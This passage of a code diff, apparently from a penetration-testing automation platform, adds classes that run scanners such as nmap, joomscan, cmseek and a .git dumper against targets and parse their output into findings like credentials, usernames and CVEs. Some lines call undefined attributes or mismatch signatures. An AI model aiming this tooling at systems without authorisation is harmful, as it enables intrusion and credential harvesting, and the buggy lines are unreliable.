{task.id} has been cancelled") connection = django_rq.get_connection("executions-queue") for execution in running_executions: if execution.status == Status.RUNNING: send_stop_job_command(connection, execution.rq_job_id) else: - # TODO: cancel queue job - pass + self.executions_queue.cancel_job(execution.rq_job_id) logger.info(f"[Execution] Execution {execution.id} has been cancelled") - execution.status = Status.CANCELLED # Set execution status to Cancelled - execution.end = timezone.now() # Update execution end date + execution.status = Status.CANCELLED + execution.end = timezone.now() execution.save(update_fields=["status", "end"]) task.end = timezone.now() task.save(update_fields=["end"]) @@ -112,7 +116,7 @@ def repeat_task(self, request: Request, pk: str) -> Response: executor=request.user, ) new_task.wordlists.set(task.wordlists.all()) # Add wordlists from original task - # TODO: Enqueue new task + self.tasks_queue.enqueue(new_task) return Response( TaskSerializer(instance=new_task).data, status=status.HTTP_201_CREATED ) diff --git a/src/backend/tools/executors/__init__.py b/src/backend/tools/executors/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py new file mode 100644 index 000000000..4fb0f50e7 --- /dev/null +++ b/src/backend/tools/executors/base.py @@ -0,0 +1,263 @@ +import logging +import os +import re +import subprocess +import uuid +from typing import Any, Dict, List, Tuple + +from authentications.models import Authentication +from django.utils import timezone +from executions.enums import Status +from executions.models import Execution +from findings.framework.models import Finding +from findings.models import Port +from framework.models import BaseInput +from parameters.models import InputTechnology, InputVulnerability +from rekono.settings import CONFIG +from target_ports.models import TargetPort +from tools.models import Intensity +from wordlists.models import Wordlist + +logger = logging.getLogger() + + +class BaseExecutor: + def __init__(self, execution: Execution) -> None: + self.execution = execution + self.intensity = ( + Intensity.objects.filter( + tool=execution.configuration.tool, value__lte=execution.task.intensity + ) + .order_by("-value") + .first() + ) + self.report = os.path.join( + CONFIG.reports, + f'{str(uuid.uuid4())}.{execution.configuration.tool.output_format or "txt"}', + ) + self.arguments = [] + self.findings_used_in_execution: Dict[__class__, BaseInput] = {} + + def _get_arguments( + self, + findings: List[Finding], + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], + ) -> List[str]: + parameters = { + "script": os.path.join( + getattr( + CONFIG, + self.execution.configuration.tool.script_directory_property.lower(), + ), + self.execution.configuration.tool.script, + ) + if self.execution.configuration.tool.script_directory_property + and self.execution.configuration.tool.script + else "", + "command": self.execution.configuration.tool.command, + "intensity": self.intensity.argument, + "output": self.report + if self.execution.configuration.tool.output_format + else "", + } + for argument in self.execution.configuration.tool.arguments: + for argument_input in argument.inputs.order_by("order"): + input_model = argument_input.type.get_model_class() + input_fallback = argument_input.type.get_fallback_model_class() + parsed_data: Dict[str, Any] = {} + for base_input in ( + findings + + wordlists + + Authentication.objects.filter( + target_port__target=self.execution.task.target, + target_port__port__in=[ + p.port for p in findings if isinstance(p, Port) + ], + ).all() + + [self.execution.task.target] + + target_ports + + [p.authentication for p in target_ports] + + input_vulnerabilities + + input_technologies + ): + if isinstance(base_input, input_fallback) and parsed_data: + break + if ( + isinstance(base_input, input_model) + or isinstance(base_input, input_fallback) + ) and base_input.filter(argument_input): + parsed_data = base_input.parse( + self.execution.task.target, parsed_data + ) + if not argument.multiple: + self.findings_used_in_execution[ + base_input.__class__ + ] = base_input + break + if parsed_data: + parameters[argument.name] = argument.argument.format(**parsed_data) + elif argument.required: + raise RuntimeError( + f"Argument '{argument.name}' is required to execute tool '{argument.tool.name}'" + ) + return [ + a.replace('"', "") + for a in re.findall( + r'[^\s\'"]*[\'"][^\'"]+[\'"]|[^\'"\s]+', + self.execution.configuration.arguments.format(**parameters), + ) + ] + + def check_arguments( + self, + findings: List[Finding], + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], + ) -> bool: + try: + self._get_arguments( + findings, + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ) + return True + except RuntimeError: + return False + + def _get_environment(self) -> Dict[str, Any]: + environment = os.environ.copy() + if self.execution.configuration.tool.command not in self.arguments: + self.arguments.insert(0, self.execution.configuration.tool.command) + else: + index = self.arguments.index(self.execution.configuration.tool.command) + for definition in self.arguments[:index]: + if "=" in definition: + variable, value = definition.split("=", 1) + environment[variable] = ( + value.strip().replace("'", "").replace('"', "") + ) + self.arguments = self.arguments[index:] + return environment + + def _before_running(self) -> None: + pass + + def _run(self, environment: Dict[str, Any] = os.environ.copy()) -> str: + logger.info(f'[Tool] Running: {" ".join(self.arguments)}') + process = subprocess.run( + self.arguments, + capture_output=True, + env=environment, + cwd=getattr( + CONFIG, self.execution.configuration.tool.run_directory_property.lower() + ) + if self.execution.configuration.tool.run_directory_property + else None, + ) + if ( + not self.execution.configuration.tool.ignore_exit_code + and process.returncode > 0 + ): + raise RuntimeError(process.stderr.decode("utf-8")) + return process.stdout.decode("utf-8") + + def _after_running(self) -> None: + pass + + def _on_start(self) -> None: + self.execution.start = timezone.now() + self.execution.save(update_fields=["start"]) + if not self.execution.task.start: + self.execution.task.start = timezone.now() + self.execution.task.save(update_fields=["start"]) + + def _on_task_end(self) -> None: + if not Execution.objects.filter( + task=self.execution.task, status__in=[Status.REQUESTED, Status.RUNNING] + ).exists(): + self.execution.task.end = timezone.now() + self.execution.task.save(update_fields=["end"]) + logger.info(f"[Task] Task {self.execution.task.id} has finished") + + def _on_skip(self, reson: str) -> None: + self.execution.status = Status.SKIPPED + self.execution.skipped_reason = reson + self.execution.end = timezone.now() + self.execution.save(update_fields=["status", "end", "skipped_reason"]) + self._on_task_end() + + def _on_error(self, error: str) -> None: + if error: + self.execution.output_error = error.replace( + self.report, f"output.{self.execution.configuration.tool.output_format}" + ).strip() + self.execution.status = Status.ERROR + self.execution.end = timezone.now() + self.execution.save(update_fields=["output_error", "status", "end"]) + self._on_task_end() + + def _on_completed(self, output: str) -> None: + self.execution.status = Status.COMPLETED + self.execution.end = timezone.now() + if self.execution.configuration.tool.output_format and os.path.isfile( + self.report + ): + self.execution.output_file = self.report.strip() + self.execution.output_plain = output.replace( + self.report, f"output.{self.execution.configuration.tool.output_format}" + ) + self.execution.save( + update_fields=["status", "end", "output_file", "output_plain"] + ) + self._on_task_end() + + def execute( + self, + findings: List[Finding], + target_ports: List[TargetPort], + input_vulnerabilities: List[InputVulnerability], + input_technologies: List[InputTechnology], + wordlists: List[Wordlist], + ) -> None: + self._on_start() + self.execution.configuration.tool.update_status() + if not self.execution.configuration.tool.is_installed: + message = f"[Tool] Tool {self.execution.configuration.tool.name} is not installed in the system. This execution has been skipped" + logger.error(message) + self._on_skip(message) + return + try: + self.arguments = self._get_arguments( + findings, + target_ports, + input_vulnerabilities, + input_technologies, + wordlists, + ) + except RuntimeError as error: + logger.error(f"[Tool] {str(error)}") + self._on_skip(str(error)) + return + environment = self._get_environment() + self._before_running() + try: + output = "" if CONFIG.testing else self._run(environment) + except (RuntimeError, Exception) as error: + logger.error( + f"[Tool] {self.execution.configuration.tool.name} execution finish with errors" + ) + self._on_error(str(error)) + self._after_running() + return + self._after_running() + self._on_completed(output) + logger.info( + f"[Tool] {self.execution.configuration.tool.name} execution has been completed" + ) diff --git a/src/backend/tools/executors/cmseek.py b/src/backend/tools/executors/cmseek.py new file mode 100644 index 000000000..add5a34bb --- /dev/null +++ b/src/backend/tools/executors/cmseek.py @@ -0,0 +1,23 @@ +import os +import pathlib +import shutil +from urllib.parse import urlparse + +from rekono.settings import CONFIG +from tools.executors.base import BaseExecutor + + +class Cmseek(BaseExecutor): + def _after_running(self) -> None: + result_path = os.path.join( + "Result", + urlparse(self.arguments(self.arguments.index("-u") + 1)).hostname, + "cms.json", + ) + for report in [ + result_path, + os.path.join(CONFIG.cmseek_dir, result_path), + ]: + if os.path.isfile(report): + shutil.move(report, self.report) + shutil.rmtree(pathlib.Path(report).parent) diff --git a/src/backend/tools/executors/gitleaks.py b/src/backend/tools/executors/gitleaks.py new file mode 100644 index 000000000..a3150f9f3 --- /dev/null +++ b/src/backend/tools/executors/gitleaks.py @@ -0,0 +1,62 @@ +import json +import os +import subprocess +import uuid +from typing import Any, Dict, List + +from executions.models import Execution +from findings.enums import Severity +from findings.models import Port, Vulnerability +from rekono.settings import CONFIG +from tools.executors.base import BaseExecutor + + +class Gitleaks(BaseExecutor): + def __init__(self, execution: Execution) -> None: + super().__init__(execution) + self.git_directory_dumped = False + + def _parse_findings(self, output: str) -> None: + super()._parse_findings(output) + if self.git_directory_dumped: + self.parser.create_finding( + Vulnerability, + name="Git source code exposure", + description=( + "Source code is exposed in the endpoint /.git/ and " + "it's possible to dump it as a git repository" + ), + severity=Severity.HIGH, + # CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere + cwe="CWE-527", + reference="https://iosentrix.com/blog/git-source-code-disclosure-vulnerability/", + ) + + def _run(self, environment: Dict[str, Any] = ...) -> str: + target_url = environment.get("GIT_DUMPER_TARGET_URL", "") + if target_url[-1] != "/": + target_url += "/" + target_url += ".git/" + gitdumper_directory = os.path.join(CONFIG.gittools_dir, "Dumper") + run_directory = os.path.join(CONFIG.reports, str(uuid.uuid4())) + process = subprocess.run( + ["bash", gitdumper_directory, "gitdumper.sh", target_url, run_directory], + capture_output=True, + cwd=gitdumper_directory, + ) + subprocess.run( + ["git", "checkout", "--", "."], + capture_output=True, + cwd=run_directory, + ) + for _, dirs, files in os.walk(self.run_directory): + # Check if Git repository has been dumped or not + self.git_directory_dumped = ( + len([d for d in dirs if d != ".git"]) > 0 or len(files) > 0 + ) + break + if self.git_directory_dumped: + return super()._run(environment) + if process.returncode > 0: + raise RuntimeError(process.stderr.decode("utf-8")) + return process.stdout.decode("utf-8") diff --git a/src/backend/tools/executors/gobuster.py b/src/backend/tools/executors/gobuster.py new file mode 100644 index 000000000..c33262d32 --- /dev/null +++ b/src/backend/tools/executors/gobuster.py @@ -0,0 +1,23 @@ +from typing import List + +from findings.models import Finding +from input_types.models import BaseInput +from tools.executors.base import BaseExecutor + + +class Gobuster(BaseExecutor): + def _get_arguments( + self, + findings: List[Finding], + target_ports_and_parameters: List[BaseInput], + ) -> List[str]: + arguments = super()._get_arguments(findings, target_ports_and_parameters) + if "--url" not in arguments and "--domain" not in arguments: + raise RuntimeError( + f"Argument 'url' or 'domain' is required to execute tool '{self.execution.configuration.tool.name}'" + ) + if "--wordlist" not in arguments: + raise RuntimeError( + f"Argument 'wordlist' is required to execute tool '{self.execution.configuration.tool.name}'" + ) + return arguments diff --git a/src/backend/tools/fixtures/3_configurations.json b/src/backend/tools/fixtures/3_configurations.json index bad92e25b..e5ce749c5 100644 --- a/src/backend/tools/fixtures/3_configurations.json +++ b/src/backend/tools/fixtures/3_configurations.json @@ -357,7 +357,7 @@ "fields": { "tool": 15, "name": "Dump .git and find secrets in all commits", - "arguments": "detect -f json --report-path {output}", + "arguments": "GIT_DUMPER_TARGET_URL={url} {command} detect -f json --report-path {output}", "stage": 4, "default": true } diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py index e4f1a4c6b..fbafa558d 100644 --- a/src/backend/tools/models.py +++ b/src/backend/tools/models.py @@ -29,20 +29,26 @@ class Tool(BaseLike): reference = models.TextField(max_length=250, blank=True, null=True) icon = models.TextField(max_length=250, blank=True, null=True) - def get_parser_class(self) -> Any: + def _get_tool_class(self, type: str) -> Any: try: # nosemgrep: python.lang.security.audit.non-literal-import.non-literal-import - parser_module = importlib.import_module( - f'tools.parsers.{self.name.lower().replace(" ", "_")}' + module = importlib.import_module( + f'tools.{type.lower()}s.{self.name.lower().replace(" ", "_")}' ) - parser_class = getattr( - parser_module, + cls = getattr( + module, self.name[0] + self.name[1:].replace(" ", ""), ) - except (AttributeError, ModuleNotFoundError): # Error during import - parser_module = importlib.import_module("tools.parsers.base") - parser_class = getattr(parser_module, "BaseParser") - return parser_class + except (AttributeError, ModuleNotFoundError): + module = importlib.import_module(f"tools.{type.lower()}s.base") + cls = getattr(module, f"Base{type[0].upper() + type[:1].lower()}") + return cls + + def get_parser_class(self) -> Any: + return self._get_tool_class("parser") + + def get_executor_class(self) -> Any: + return self._get_tool_class("executor") def update_status(self) -> None: self.is_installed = ( diff --git a/src/backend/tools/parsers/__init__.py b/src/backend/tools/parsers/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py new file mode 100644 index 000000000..f3a9bde75 --- /dev/null +++ b/src/backend/tools/parsers/base.py @@ -0,0 +1,81 @@ +import json +import os +from typing import Any, Dict, List + +import defusedxml.ElementTree as parser +from django.db.models.fields.related_descriptors import ReverseManyToOneDescriptor +from django.db.models.query_utils import DeferredAttribute +from django.utils import timezone +from findings.framework.models import Finding +from tools.executors.base import BaseExecutor + + +class BaseParser: + def __init__(self, executor: BaseExecutor, output: str = None) -> None: + self.executor = executor + self.output = output + self.report = ( + executor.report + if executor.report + and executor.execution.configuration.tool.output_format + and os.path.isfile(executor.report) + and os.stat(executor.report).st_size > 0 + else None + ) + self.findings: List[Finding] = [] + + def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: + fields.update( + { + "target": self.executor.execution.task.target, + "detected_by": self.executor.execution.configuration.tool, + "last_seen": timezone.now(), + } + ) + for ( + finding_type_used, + finding_used, + ) in self.executor.findings_used_in_execution.items(): + if ( + finding_type_used != finding_type + and hasattr(finding_type, finding_type_used.__name__.lower()) + # Discard relations between findings + and not isinstance( + getattr(finding_type, finding_type_used.__name__.lower()), + ReverseManyToOneDescriptor, + ) + # Discard standard fields: Text, Number, etc. + and not isinstance( + getattr(finding_type, finding_type_used.__name__.lower()), + DeferredAttribute, + ) + ): + fields[finding_type_used.__name__.lower()] = finding_used + unique_id = {} + for field in finding_type.get_unique_fields(): + unique_id[field] = fields[field] + finding, _ = finding_type.objects.update_or_create(**unique_id, defaults=fields) + self.findings.append(finding) + + def _parse_report(self) -> None: + pass + + def _parse_standard_output(self) -> None: + pass + + def _load_report_as_json(self) -> Dict[str, Any]: + with open(self.report, "r", encoding="utf-8") as report: + return json.load(report) + + def _load_report_as_xml(self) -> Any: + return parser.parse(self.path_output).getroot() + + def _load_report_by_lines(self) -> List[str]: + with open(self.report, "r", encoding="utf-8") as report: + return report.readlines() + + def parse(self) -> None: + if self.report: + self._parse_report() + elif self.output: + self._parse_standard_output() diff --git a/src/backend/tools/parsers/cmseek.py b/src/backend/tools/parsers/cmseek.py new file mode 100644 index 000000000..f15b04538 --- /dev/null +++ b/src/backend/tools/parsers/cmseek.py @@ -0,0 +1,118 @@ +from urllib.parse import urlparse + +from findings.enums import PathType, Severity +from findings.models import Credential, Path, Technology, Vulnerability +from tools.parsers.base import BaseParser + + +class Cmseek(BaseParser): + def _parse_report(self) -> None: + data = self._load_report_as_json() + if not data.get("cms_name") or not data.get("cms_id"): + return + version = data.get(f"{data.get('cms_id')}_version") or data.get( + f"{data.get('cms_name')}_version" + ) + base_url = data.get("url", "") + parser = urlparse(base_url) + if parser.path: + base_url = base_url.replace(parser.path, "/") + cms = self.create_finding( + Technology, + name=data.get("cms_name"), + version=version, + description="CMS", + reference=data.get("cms_url"), + ) + for key, value in data.items(): + if key in [ + "cms_id", + "cms_name", + "cms_url", + f"{data.get('cms_id')}_version", + f"{data.get('cms_name')}_version", + "url", + ]: + continue + paths = [] + if isinstance(value, list): + paths = [p.replace(base_url, "/") for p in value if p and base_url in p] + elif isinstance(value, str) and base_url in value: + paths = ( + [ + p.replace(base_url, "/") + for p in value.split(",") + if base_url in p + ] + if "," in value + else [value] + ) + if paths: + for path in paths: + if path and path != "/": + self.create_finding( + Path, path=path.replace("//", "/"), type=PathType.ENDPOINT + ) + for search_key, vulnerability_name, severity, cwe in [ + # CWE-530: Exposure of Backup File to an Unauthorized Control Sphere + ("backup_file", "Backup files found", Severity.HIGH, "CWE-530"), + # CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere + ( + "config_file", + "Configuration files found", + Severity.MEDIUM, + "CWE-497", + ), + ]: + if search_key in key: + self.create_finding( + Vulnerability, + technology=cms, + name=vulnerability_name, + description=", ".join(paths), + severity=severity, + cwe=cwe, + ) + elif "_users" in key and value != "disabled": + for user in value.split(","): + if user: + self.create_finding( + Credential, + technology=cms, + username=user, + context=f"{cms.name} username", + ) + elif "_debug_mode" in key and value != "disabled": + self.create_finding( + Vulnerability, + technology=cms, + name="Debug mode enabled", + description=f"{cms.name} debug mode enabled", + severity=Severity.LOW, + cwe="CWE-489", # CWE-489: Active Debug Code + ) + elif "_vulns" in key and "vulnerabilities" in value: + for vulnerability in value["vulnerabilities"]: + self.create_finding( + Vulnerability, + technology=cms, + name=vulnerability.get("name"), + cve=vulnerability.get("cve"), + ) + elif "Version" in value: + for component in value.split(","): + technology = component + version = None + if "Version" in component: + technology, version = component.split("Version", 1) + name = key.replace(f"{data.get('cms_name')}_", "").replace( + f"{data.get('cms_id')}_", "" + ) + if technology: + self.create_finding( + Technology, + name=technology, + version=version, + related_to=cms, + description=f"{cms.name} {name}", + ) diff --git a/src/backend/tools/parsers/dirsearch.py b/src/backend/tools/parsers/dirsearch.py new file mode 100644 index 000000000..9bbec752d --- /dev/null +++ b/src/backend/tools/parsers/dirsearch.py @@ -0,0 +1,19 @@ +import json + +from findings.enums import PathType +from findings.models import Path +from tools.parsers.base import BaseParser + + +class Dirsearch(BaseParser): + def _parse_report(self) -> None: + data = self._load_report_as_json() + for url in data.get("results", []): + for item in url.values(): + for endpoint in item: + self.create_finding( + Path, + path=endpoint.get("path", ""), + status=endpoint.get("status", 0), + type=PathType.ENDPOINT, + ) diff --git a/src/backend/tools/parsers/emailfinder.py b/src/backend/tools/parsers/emailfinder.py new file mode 100644 index 000000000..75c85a17b --- /dev/null +++ b/src/backend/tools/parsers/emailfinder.py @@ -0,0 +1,18 @@ +from django.core.exceptions import ValidationError +from django.forms import EmailField +from findings.enums import OSINTDataType +from findings.models import OSINT +from tools.parsers.base import BaseParser + + +class Emailfinder(BaseParser): + def _parse_standard_output(self) -> None: + checker = EmailField() + for line in self.output.split("\n"): + line = line.strip() + if line: + try: + checker.clean(line) + self.create_finding(OSINT, data=line, data_type=OSINTDataType.EMAIL) + except ValidationError: + pass diff --git a/src/backend/tools/parsers/emailharvester.py b/src/backend/tools/parsers/emailharvester.py new file mode 100644 index 000000000..3bf7f461a --- /dev/null +++ b/src/backend/tools/parsers/emailharvester.py @@ -0,0 +1,13 @@ +from findings.enums import OSINTDataType +from findings.models import OSINT +from tools.parsers.base import BaseParser + + +class Emailharvester(BaseParser): + def _parse_report(self) -> None: + with open(self.report, "r", encoding="utf-8") as report: + emails = report.readlines() + for email in emails: + email = email.strip() + if email: + self.create_finding(OSINT, data=email, data_type=OSINTDataType.EMAIL) diff --git a/src/backend/tools/parsers/gitleaks.py b/src/backend/tools/parsers/gitleaks.py new file mode 100644 index 000000000..edf63beff --- /dev/null +++ b/src/backend/tools/parsers/gitleaks.py @@ -0,0 +1,21 @@ +from findings.models import Credential +from tools.parsers.base import BaseParser + + +class Gitleaks(BaseParser): + def _parse_report(self) -> None: + data = self._load_report_as_json() + emails = set() + for finding in data: + self.create_finding( + Credential, + secret=finding.get("Match"), + context=f'/.git/ : {finding.get("File")} -> Line {finding.get("StartLine")}', + ) + if finding.get("Email") and finding.get("Email") not in emails: + emails.add(finding.get("Email")) + self.create_finding( + Credential, + email=finding.get("Email"), + context=f'/.git/ : Email of the commit author {finding.get("Author")}', + ) diff --git a/src/backend/tools/parsers/gobuster.py b/src/backend/tools/parsers/gobuster.py new file mode 100644 index 000000000..0fea0b508 --- /dev/null +++ b/src/backend/tools/parsers/gobuster.py @@ -0,0 +1,44 @@ +from findings.enums import OSINTDataType, PathType +from findings.models import OSINT, Path +from tools.parsers.base import BaseParser + + +class Gobuster(BaseParser): + def _parse_report(self) -> None: + data = self._load_report_by_lines() + for line in data: + if " (Status: " in line and ") [Size: " in line: # Endpoint format + aux = line.split(" (Status: ") + self.create_finding( + Path, + path=aux[0].strip(), + status=int(aux[1].split(")")[0].strip()), + type=PathType.ENDPOINT, + ) + elif " Status: " in line and " [Size: " in line: # VHOST format + vhost, status = line.replace("Found: ", "").split(" Status: ") + if status.split(" [")[0].strip().startswith("2"): + if "://" in vhost: + vhost = vhost.split("://")[1] + self.create_finding( + OSINT, + data=vhost.strip(), + data_type=OSINTDataType.VHOST, + source="Enumeration", + ) + elif " [" in line and "]" in line: # Subdomain format + subdomain, addresses = line.replace("Found: ", "").split(" [") + addresses = addresses.replace("]", "").split(",") + self.create_finding( + OSINT, + data=subdomain.strip(), + data_type=OSINTDataType.DOMAIN, + source="DNS", + ) + for address in addresses: + self.create_finding( + OSINT, + data=address.strip(), + data_type=OSINTDataType.IP, + source="DNS", + ) diff --git a/src/backend/tools/parsers/joomscan.py b/src/backend/tools/parsers/joomscan.py new file mode 100644 index 000000000..23eee2ed7 --- /dev/null +++ b/src/backend/tools/parsers/joomscan.py @@ -0,0 +1,102 @@ +from urllib.parse import urlparse + +from findings.enums import PathType, Severity +from findings.models import Exploit, Path, Technology, Vulnerability +from tools.parsers.base import BaseParser + + +class Joomscan(BaseParser): + def _parse_standard_output(self) -> None: + technology = None + vulnerability_name = None + endpoints = set() + backups = set() + configurations = set() + path_disclosure = set() + directory_listing = set() + host = urlparse( + self.executor.arguments(self.executor.arguments.index("-u") + 1) + ).hostname + lines = self.output.split("\n") + for index, line in enumerate(lines): + data = line.strip() + if not data: + continue + if ( + "[++] Joomla" in data + and lines[index - 1] == "[+] Detecting Joomla Version" + ): + version = data.replace("[++] Joomla ", "").strip() + technology = self.create_finding( + Technology, + name="Joomla", + version=version, + description=f"Joomla {version}", + reference="https://www.joomla.org/", + ) + elif "CVE : " in data: + vulnerability_name = ( + lines[index - 1].replace("[++]", "").replace("Joomla!", "").strip() + ) + for cve in data.replace("CVE : ", "").strip().split(","): + self.create_finding( + Vulnerability, + technology=technology, + name=vulnerability_name, + cve=cve.strip(), + ) + elif "EDB : " in data: + link = data.replace("EDB : ", "").strip() + self.create_finding( + Exploit, + technology=technology, + title=vulnerability_name, + edb_id=int( + link.split("https://www.exploit-db.com/exploits/", 1)[ + 1 + ].replace("/", "") + ), + reference=link, + ) + elif "Debug mode Enabled" in data: + self.create_finding( + Vulnerability, + technology=technology, + name="Debug mode enabled", + description="Joomla debug mode enabled", + severity=Severity.LOW, + cwe="CWE-489", # CWE-489: Active Debug Code + ) + + elif host in data: + endpoint = data.split(host, 1)[1].split(" ", 1)[0] + if endpoint and endpoint not in endpoints: + endpoints.add(endpoint) + for search, list in [ + ("Path :", backups), + ("config file path :", configurations), + ("Full Path Disclosure (FPD) in", path_disclosure), + ("directory has directory listing :", directory_listing), + ]: + if search in data: + list.add(endpoint) + self.create_finding(Path, path=endpoint, type=PathType.ENDPOINT) + for name, paths, severity, cwe in [ + # CWE-530: Exposure of Backup File to an Unauthorized Control Sphere + ("Backup files found", backups, Severity.HIGH, "CWE-530"), + # CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere + ("Configuration files found", configurations, Severity.MEDIUM, "CWE-497"), + # CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere + ("Full path disclosure", path_disclosure, Severity.LOW, "CWE-497"), + # CWE-548: Exposure of Information Through Directory Listing + ("Directory listing", directory_listing, Severity.LOW, "CWE-548"), + ]: + if paths: + self.create_finding( + Vulnerability, + technology=technology, + name=name, + description=", ".join(paths), + severity=severity, + cwe=cwe, + ) diff --git a/src/backend/tools/parsers/log4j_scan.py b/src/backend/tools/parsers/log4j_scan.py new file mode 100644 index 000000000..85698f2ea --- /dev/null +++ b/src/backend/tools/parsers/log4j_scan.py @@ -0,0 +1,8 @@ +from findings.models import Vulnerability +from tools.parsers.base import BaseParser + + +class Log4jscan(BaseParser): + def _parse_standard_output(self) -> None: + if "[!!!] Targets Affected" in self.output: + self.create_finding(Vulnerability, name="Log4Shell", cve="CVE-2021-44228") diff --git a/src/backend/tools/parsers/metasploit.py b/src/backend/tools/parsers/metasploit.py new file mode 100644 index 000000000..c3e07fb90 --- /dev/null +++ b/src/backend/tools/parsers/metasploit.py @@ -0,0 +1,12 @@ +from findings.models import Exploit +from tools.parsers.base import BaseParser + + +class Metasploit(BaseParser): + def _parse_standard_output(self) -> None: + entry = 0 + for line in self.output.split("\n"): + if line.strip() and line.strip().startswith(str(entry)): + entry += 1 + data = [i.strip() for i in line.strip().split(" ") if i] + self.create_finding(Exploit, title=data[-1], reference=data[1]) diff --git a/src/backend/tools/parsers/nikto.py b/src/backend/tools/parsers/nikto.py new file mode 100644 index 000000000..1f05d876a --- /dev/null +++ b/src/backend/tools/parsers/nikto.py @@ -0,0 +1,28 @@ +from findings.enums import PathType, Severity +from findings.models import Path, Vulnerability +from tools.parsers.base import BaseParser + + +class Nikto(BaseParser): + def _parse_report(self) -> None: + endpoints = set() + root = self._load_report_as_xml() + for item in ( + root.findall("niktoscan")[-1].findall("scandetails")[0].findall("item") + ): + method = item.attrib["method"] + endpoint = item.findtext("uri") + description = item.findtext("description") + if description: + self.create_finding( # Create Vulnerability + Vulnerability, + name=description, + description=f"[{method} {endpoint}] {description}" + if endpoint + else f"[{method}] {description}", + severity=Severity.MEDIUM, + osvdb=f"OSVDB-{item.attrib['osvdbid']}", + ) + if endpoint and endpoint not in endpoints: + endpoints.add(endpoint) + self.create_finding(Path, path=endpoint, type=PathType.ENDPOINT) diff --git a/src/backend/tools/parsers/nmap.py b/src/backend/tools/parsers/nmap.py new file mode 100644 index 000000000..9fe97394f --- /dev/null +++ b/src/backend/tools/parsers/nmap.py @@ -0,0 +1,193 @@ +import re +from typing import Any, List + +from findings.enums import HostOS, PathType, PortStatus, Protocol, Severity +from findings.models import Credential, Host, Path, Port, Technology, Vulnerability +from libnmap.parser import NmapParser +from security.utils.input_validator import Regex +from tools.parsers.base import BaseParser + + +class Nmap(BaseParser): + def _parse_report(self) -> None: + report = NmapParser.parse_fromfile(self.report) + for nmap_host in report.hosts: + if not nmap_host.is_up(): + continue + os_detection = nmap_host.os_match_probabilities() + selected_os = max(os_detection, key=lambda o: o.accuracy) if os_detection else None + selected_class = max(selected_os.osclasses, key=lambda c: c.accuracy) if selected_os else None + os_type = HostOS.OTHER + if selected_class: + try: + os_type = HostOS[selected_class.osfamily.upper()] + except KeyError: + pass + host = self.create_finding( + Host, address=nmap_host.address, os=selected_os.name, os_type=os_type + ) + for service in nmap_host.services: + port = self.create_finding( + Port, + host=host, + port=service.port, + status=PortStatus[service.state.upper()], + protocol=Protocol[service.protocol.upper()], + service=service.service, + ) + technologies = [] + if ( + "product" in service.service_dict + and "version" in service.service_dict + ): + technology = self.create_finding( + Technology, + port=port, + name=service.service_dict["product"], + version=service.service_dict["version"], + ) + technologies.append(technology) + if service.script_results: + self._parse_nse_scripts(service.script_results, technologies) + if host.script_results: + self._parse_nse_scripts(host.script_results, technologies) + + def _parse_nse_scripts( + self, results: Any, technologies: List[Technology] + ) -> None: + smb_search = [t for t in technologies if t.port.service == "microsoft-ds"] + smb_technology = smb_search[0] if smb_search else None + first_technology = technologies[0] if technologies else None + for script in results: + match script.get("id"): + case "vulners": + self._parse_nse_vulners(script, first_technology) + case "ftp-anon": + self.create_finding( + Vulnerability, + technology=first_technology, + name="Anonymous FTP", + description="Anonymous login is allowed in FTP", + severity=Severity.CRITICAL, + # CWE-287: Improper Authentication + cwe="CWE-287", + reference="https://book.hacktricks.xyz/pentesting/pentesting-ftp#anonymous-login", + ) + case "ftp-proftpd-backdoor": + self.create_finding( + Vulnerability, + technology=first_technology, + name="FTP Backdoor", + description="FTP ProFTPD 1.3.3c Backdoor", + severity=Severity.CRITICAL, + # CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + cwe="CWE-78", + osvdb="OSVDB-69562", + ) + case "ftp-vsftpd-backdoor": + self.create_finding( + Vulnerability, + technology=first_technology, + name="vsFTPd Backdoor", + cve="CVE-2011-2523", + ) + case "ftp-libopie": + self.create_finding( + Vulnerability, + technology=first_technology, + name="OPIE off-by-one stack overflow", + cve="CVE-2010-1938", + ) + case "ftp-vuln-cve2010-4221": + self.create_finding( + Vulnerability, + technology=first_technology, + name="ProFTPD server TELNET IAC stack overflow", + cve="CVE-2010-4221", + ) + case "smb-double-pulsar-backdoor": + self.create_finding( + Vulnerability, + technology=smb_technology, + name="SMB Server DOUBLEPULSAR Backdoor", + description=( + "NNM detected the presence of DOUBLEPULSAR on the remote Windows host. DOUBLEPULSAR is one of " + "multiple Equation Group SMB implants and backdoors disclosed on 2017/04/14 by a group known as " + "the 'Shadow Brokers'. The implant allows an unauthenticated, remote attacker to use SMB as a " + "covert channel to exfiltrate data, launch remote commands, or execute arbitrary code." + ), + severity=Severity.CRITICAL, + # CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + cwe="CWE-78", + reference="https://www.tenable.com/plugins/nnm/700059", + ) + case "smb-vuln-webexec": + self.create_finding( + Vulnerability, + technology=smb_technology, + name="Remote Code Execution vulnerability in WebExService", + cve="CVE-2018-15442", + ) + case "smb-vuln-cve-2017-7494": + self.create_finding( + Vulnerability, + technology=smb_technology, + name="SAMBA Remote Code Execution from Writable Share", + cve="CVE-2017-7494", + ) + case "smb2-vuln-uptime" | "smb-vuln-ms06-025" | "smb-vuln-ms07-029" | "smb-vuln-ms10-061" | "smb-vuln-ms17-010": + self._parse_nse_vulners(script, smb_technology) + case "smb-enum-users": + for line in script.get("output").split("\n"): + data = line.strip() + if data: + self.create_finding( + Credential, + technology=smb_technology, + username=data.split(" (RID:", 1)[0], + context="SMB user", + ) + case "smb-enum-shares": + for share, fields in script.get("elements", {}).items(): + if "account_used" not in share: + path = share.rsplit("\\", 1)[1] if "\\" in share else share + anonymous = 